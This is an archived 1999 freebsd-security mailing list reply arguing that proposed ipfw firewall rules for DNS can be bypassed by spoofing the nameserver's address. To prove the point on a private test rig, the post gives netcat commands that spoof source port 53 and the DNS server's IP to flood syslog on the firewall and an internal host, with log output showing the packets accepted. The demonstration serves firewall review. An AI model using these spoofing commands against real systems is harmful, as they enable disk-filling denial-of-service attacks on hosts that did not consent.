Skip site navigation (1)Skip section navigation (2)
Date:      Sat, 04 Dec 1999 20:07:09 +0000
From:      Adam Laurie <adam@algroup.co.uk>
To:        "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc:        Nate Williams <nate@mt.sri.com>, John Baldwin <jhb@FreeBSD.ORG>, freebsd-security@FreeBSD.ORG
Subject:   Re: rc.firewall revisited
Message-ID:  <3849746D.9B9F18E8@algroup.co.uk>
References:  <199912032147.NAA81067@gndrsh.dnsmgr.net>

next in thread | previous in thread | raw e-mail | index | archive | help
"Rodney W. Grimes" wrote:

> Rules for DNS should not be written to protect NFS.  You want another
> block of rules to do that.  You also have to understand that there
> are broken DNS clients that will send requests from low numbered ports
> and if you block those ports on the DNS replies some clients will
> occasionaly experience DNS lags due to retries, and in a few rare
> cases total DNS loss.  Yes, I have seen Microsoft stacks that use
> port 2049 as the source of thier DNS query, and yes I have filter
> rules that stopped that valid query dead in the track, and yes I took
> the network level 2 escilation problem report to figure out what the
> bloddy hell had gone wrong.

I'm not doing any reply filtering based on source port, so this wouldn't
be a problem.

> 
> Any modification to the block of rules I wrote to specifically address
> a single inside DNS server talking to the global outside type of network
> configuration will cause some DNS problems.
> 
> Additional rules to protect NFS and other stuff are a totally seperate
> issue and have to be delt with seperately.  I was only addressing the
> DNS issue, nothering more, nothing less.

Unfortunately not, this is what I've been trying to explain... You have
introduced a great big hole by trusting your DNS server. Since
explaining theory doesn't seem to get us anywhere, allow me to
demonstrate:

My test rig is a FreeBSD box with two interfaces, acting as a firewall
for a back-end network. In this scenario, the "protected" internal
network is 192.168.111 and the outward facing is 192.168.192. The "ISP"
network is 192.168.254. The "protected" interface is wi0 and the outside
world is lnc1. The nameserver is 192.168.254.129 (dns.my.isp).

Here are the relevant rules as you posted to the freebsd-security list
(with a minor typo correction, logging, and my test DNS server
inserted):

  02100 allow log udp from any to 192.168.254.129 53
  02200 allow log udp from 192.168.254.129 53 to any
  02300 deny log udp from any to any 53
  02400 deny log udp from any 53 to any

Just to check DNS works, a local userland request:

  Dec  4 13:07:31 freeby /kernel: ipfw: 2100 Accept UDP
192.168.192.3:1222 192.168.254.129:53 out via lnc1
  Dec  4 13:07:31 freeby /kernel: ipfw: 2200 Accept UDP
192.168.254.129:53 192.168.192.3:1222 in via lnc1
  Dec  4 13:07:31 freeby /kernel: ipfw: 2100 Accept UDP
192.168.192.3:1223 192.168.254.129:53 out via lnc1
  Dec  4 13:07:31 freeby /kernel: ipfw: 2200 Accept UDP
192.168.254.129:53 192.168.192.3:1223 in via lnc1

and a "protected" machine's DNS request passing through the firewall:

  Dec  4 13:26:37 freeby /kernel: ipfw: 2100 Accept UDP
192.168.111.69:1149 192.168.254.129:53 in via wi0
  Dec  4 13:26:37 freeby /kernel: ipfw: 2100 Accept UDP
192.168.192.3:1149 192.168.254.129:53 out via lnc1
  Dec  4 13:26:37 freeby /kernel: ipfw: 2200 Accept UDP
192.168.254.129:53 192.168.111.69:1149 in via lnc1
  Dec  4 13:26:37 freeby /kernel: ipfw: 2200 Accept UDP
192.168.254.129:53 192.168.111.69:1149 out via wi0

A DOS attack on the firewall itself (fill the hard disk by hosing
syslog), from the protected machine, being stopped:

  friend#  ./nc -n -p 53 -u 192.168.192.3 514
  little pig, little pig, let me in...
  ^C

  Dec  4 13:57:30 freeby /kernel: ipfw: 2400 Deny UDP 192.168.111.69:53
192.168.192.3:514 in via wi0

The same attack succeeding by spoofing the nameserver:

  friend#  ./nc -n -p 53 -u -s 192.168.254.129 192.168.192.3 514
  your host is toast
  ^C

  Dec  4 14:00:50 freeby /kernel: ipfw: 2200 Accept UDP
192.168.254.129:53 192.168.192.3:514 in via wi0
  Dec  4 14:00:50 dns.my.isp your host is toast

And again, but this time from the outside:

  foe# ./nc -n -p 53 -u 192.168.192.3 514
  no really, you're owned now.
  ^C

  Dec  4 17:44:21 freeby /kernel: ipfw: 2400 Deny UDP 192.168.192.1:53
192.168.192.3:514 in via lnc1

and once more, we succeed simply by spoofing:

  foe# ./nc -n -p 53 -u -s 192.168.254.129 192.168.192.3 514
  Muhahahahahaha
  ^C

  Dec  4 17:48:08 freeby /kernel: ipfw: 2200 Accept UDP
192.168.254.129:53 192.168.192.3:514 in via lnc1
  Dec  4 17:48:08 dns.my.isp Muhahahahahaha 

and finally, through the firewall and off to grandma's PC we go...

  foe# ./nc -n -p 53 -u -s 192.168.254.129 192.168.111.69 514
  my, what a big disk you have, grandma!
  ^C 

  Dec  4 17:52:47 freeby /kernel: ipfw: 2200 Accept UDP
192.168.254.129:53 192.168.111.69:514 in via lnc1
  Dec  4 17:52:47 freeby /kernel: ipfw: 2200 Accept UDP
192.168.254.129:53 192.168.111.69:514 out via wi0

Clearly, other services can be attacked, but I used syslog as it's nice
and easy to see the results... 

> >
> > The IP address is the thing being spoofed. It will appear to be the DNS
> > server. If you've only got one interface, there's no way to see the
> > difference between the spoofed and the real.
> 
> Ahhh.. now we jumped from a forwarding firewall to a single host, completely
> different ball game.  IMHO, no simple single host should be running named,
> so:
> ipfw add X deny all from any to any 53 in via $if
> ipfw add X+1 deny all from any 53 to any out via $if
> 
> Note, this _ONLY_ addresses DNS, and if your trying to write complete,
> coherent, understandable and working rules you have to deal with each
> and every one on that level.  You can collapse whole blocks on the
> simple host case, but for a real forwarding firewall that often leads
> to errors.

This also completely misses the point. I'm not trying to protect MY dns
server, or even running one, I'm trying to protect myself FROM my dns
server. 

As demonstrated above, even on a machine with two NICs you can be
attacked from the outside, so anti-spoofing rules wouldn't apply, and
you could only protect yourself from machines you theoretically trust
anyway.

> > This was not intended to turn into a masterclass for firewall rule
> > building - just a simple set of replacement rules for the current ones,
> > regardless of how complete they are. I have pointed out some specific
> > deficiencies in the current rules and proposed some amendments. No-one
> > has yet pointed out a flaw or a hole in my rules, except that they are
> > "not complete". I agree, but they do do the job they set out to do,
> > unlike the current ones... i.e. block low port udp, and nfs, but allow
> > dns and time. Where's the problem?
> 
> Provide a context or uni diff to -currents /etc/rc.firewall and I'll give you
> a ``review'', and a possible ``commit''.

Fine. Can I also include the other changes I mentioned (moving IP
addresses into variables, which will also require some additions to
rc.conf, and a whole new section for a standalone pc)?

cheers,
Adam
--
Adam Laurie                   Tel: +44 (181) 742 0755
A.L. Digital Ltd.             Fax: +44 (181) 742 5995
Voysey House                  
Barley Mow Passage            http://www.aldigital.co.uk
London W4 4GB                 mailto:adam@algroup.co.uk
UNITED KINGDOM                PGP key on keyservers


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?3849746D.9B9F18E8>